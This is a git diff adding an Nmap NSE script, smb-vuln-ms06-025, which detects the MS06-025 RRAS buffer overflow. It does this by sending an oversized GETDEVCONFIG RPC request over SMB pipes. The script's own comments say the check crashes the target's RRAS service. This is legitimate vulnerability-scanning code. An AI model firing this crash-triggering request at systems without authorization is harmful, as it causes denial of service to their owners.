summaryrefslogtreecommitdiffstats
path: root/scripts/smb-vuln-ms06-025.nse
diff options
context:
space:
mode:
Diffstat (limited to 'scripts/smb-vuln-ms06-025.nse')
-rw-r--r--scripts/smb-vuln-ms06-025.nse163
1 files changed, 163 insertions, 0 deletions
diff --git a/scripts/smb-vuln-ms06-025.nse b/scripts/smb-vuln-ms06-025.nse
new file mode 100644
index 0000000..1da0961
--- /dev/null
+++ b/scripts/smb-vuln-ms06-025.nse
@@ -0,0 +1,163 @@
+local msrpc = require "msrpc"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local vulns = require "vulns"
+local rand = require "rand"
+
+description = [[
+Detects Microsoft Windows systems with Ras RPC service vulnerable to MS06-025.
+
+MS06-025 targets the <code>RasRpcSumbitRequest()</code> RPC method which is
+a part of RASRPC interface that serves as a RPC service for configuring and
+getting information from the Remote Access and Routing service. RASRPC can be
+accessed using either "\ROUTER" SMB pipe or the "\SRVSVC" SMB pipe (usually on Windows XP machines).
+This is in RPC world known as "ncan_np" RPC transport. <code>RasRpcSumbitRequest()</code>
+method is a generic method which provides different functionalities according
+to the <code>RequestBuffer</code> structure and particularly the <code>RegType</code> field within that
+structure. <code>RegType</code> field is of <code>enum ReqTypes</code> type. This enum type lists all
+the different available operation that can be performed using the <code>RasRpcSubmitRequest()</code>
+RPC method. The one particular operation that this vuln targets is the <code>REQTYPE_GETDEVCONFIG</code>
+request to get device information on the RRAS.
+
+This script was previously part of smb-check-vulns.
+]]
+---
+--@usage
+-- nmap --script smb-vuln-ms06-025.nse -p445 <host>
+-- nmap -sU --script smb-vuln-ms06-025.nse -p U:137,T:139 <host>
+--
+--@output
+--| smb-vuln-ms06-025:
+--| VULNERABLE:
+--| RRAS Memory Corruption vulnerability (MS06-025)
+--| State: VULNERABLE
+--| IDs: CVE:CVE-2006-2370
+--| A buffer overflow vulnerability in the Routing and Remote Access service (RRAS) in Microsoft Windows 2000 SP4, XP SP1
+--| and SP2, and Server 2003 SP1 and earlier allows remote unauthenticated or authenticated attackers to
+--| execute arbitrary code via certain crafted "RPC related requests" aka the "RRAS Memory Corruption Vulnerability."
+--|
+--| Disclosure date: 2006-6-27
+--| References:
+--| https://technet.microsoft.com/en-us/library/security/ms06-025.aspx
+--|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2370
+---
+
+author = {"Ron Bowes", "Jiayi Ye", "Paulino Calderon <calderon()websec.mx>"}
+copyright = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive","exploit","dos","vuln"}
+-- run after all smb-* scripts (so if it DOES crash something, it doesn't kill
+-- other scans have had a chance to run)
+dependencies = {
+ "smb-brute", "smb-enum-sessions", "smb-security-mode",
+ "smb-enum-shares", "smb-server-stats",
+ "smb-enum-domains", "smb-enum-users", "smb-system-info",
+ "smb-enum-groups", "smb-os-discovery", "smb-enum-processes",
+ "smb-psexec",
+};
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+local VULNERABLE = 1
+local PATCHED = 2
+local UNKNOWN = 3
+local NOTUP = 8
+
+---Check the existence of ms06_025 vulnerability in Microsoft Remote Routing
+--and Access Service. This check is not safe as it crashes the RRAS service and
+--its dependencies.
+--@param host Host object.
+--@return (status, result)
+--* <code>status == false</code> -> <code>result == NOTUP</code> which designates
+--that the targeted Ras RPC service is not active.
+--* <code>status == true</code> ->
+-- ** <code>result == VULNERABLE</code> for vulnerable.
+-- ** <code>result == PATCHED</code> for not vulnerable.
+function check_ms06_025(host)
+ --create the SMB session
+ --first we try with the "\router" pipe, then the "\srvsvc" pipe.
+ local status, smb_result, smbstate, err_msg
+ status, smb_result = msrpc.start_smb(host, msrpc.ROUTER_PATH)
+ if(status == false) then
+ err_msg = smb_result
+ status, smb_result = msrpc.start_smb(host, msrpc.SRVSVC_PATH) --rras is also accessible across SRVSVC pipe
+ if(status == false) then
+ return false, NOTUP --if not accessible across both pipes then service is inactive
+ end
+ end
+ smbstate = smb_result
+ --bind to RRAS service
+ local bind_result
+ status, bind_result = msrpc.bind(smbstate, msrpc.RASRPC_UUID, msrpc.RASRPC_VERSION, nil)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, UNKNOWN --if bind operation results with a false status we can't conclude anything.
+ end
+ if(bind_result['ack_result'] == 0x02) then --0x02 == PROVIDER_REJECTION
+ msrpc.stop_smb(smbstate)
+ return false, NOTUP --if bind operation results with true but PROVIDER_REJECTION, then the service is inactive.
+ end
+ local req, buff, sr_result
+ req = msrpc.RRAS_marshall_RequestBuffer(
+ 0x01,
+ msrpc.RRAS_RegTypes['GETDEVCONFIG'],
+ rand.random_string(3000, "0123456789abcdefghijklmnoprstuvzxwyABCDEFGHIJKLMNOPRSTUVZXWY"))
+ status, sr_result = msrpc.RRAS_SubmitRequest(smbstate, req)
+ msrpc.stop_smb(smbstate)
+ --sanity check
+ if(status == false) then
+ stdnse.debug3("check_ms06_025: RRAS_SubmitRequest failed")
+ if(sr_result == "NT_STATUS_PIPE_BROKEN") then
+ return true, VULNERABLE
+ else
+ return true, PATCHED
+ end
+ else
+ return true, PATCHED
+ end
+end
+
+action = function(host)
+ local status, result, message
+ local response = {}
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host)
+ local vuln_table = {
+ title = 'RRAS Memory Corruption vulnerability (MS06-025)',
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+ A buffer overflow vulnerability in the Routing and Remote Access service (RRAS) in Microsoft Windows 2000 SP4, XP SP1
+ and SP2, and Server 2003 SP1 and earlier allows remote unauthenticated or authenticated attackers to
+ execute arbitrary code via certain crafted "RPC related requests" aka the "RRAS Memory Corruption Vulnerability."
+ ]],
+ IDS = {CVE = 'CVE-2006-2370'},
+ references = {
+ 'https://technet.microsoft.com/en-us/library/security/ms06-025.aspx'
+ },
+ dates = {
+ disclosure = {year = '2006', month = '6', day = '27'},
+ }
+ }
+
+ -- Check for ms06-025
+ status, result = check_ms06_025(host)
+ if(status == false) then
+ if(result == NOTUP) then
+ vuln_table.extra_info = "Ras RPC service is not enabled."
+ vuln_table.state = vulns.STATE.NOT_VULN
+ else
+ vuln_table.state = vulns.STATE.NOT_VULN
+ end
+ else
+ if(result == VULNERABLE) then
+ vuln_table.state = vulns.STATE.VULN
+ elseif(result == NOTUP) then
+ vuln_table.extra_info = "Ras RPC service is not enabled."
+ vuln_table.state = vulns.STATE.NOT_VULN
+ else
+ vuln_table.state = vulns.STATE.NOT_VULN
+ end
+ end
+ return vuln_report:make_output(vuln_table)
+end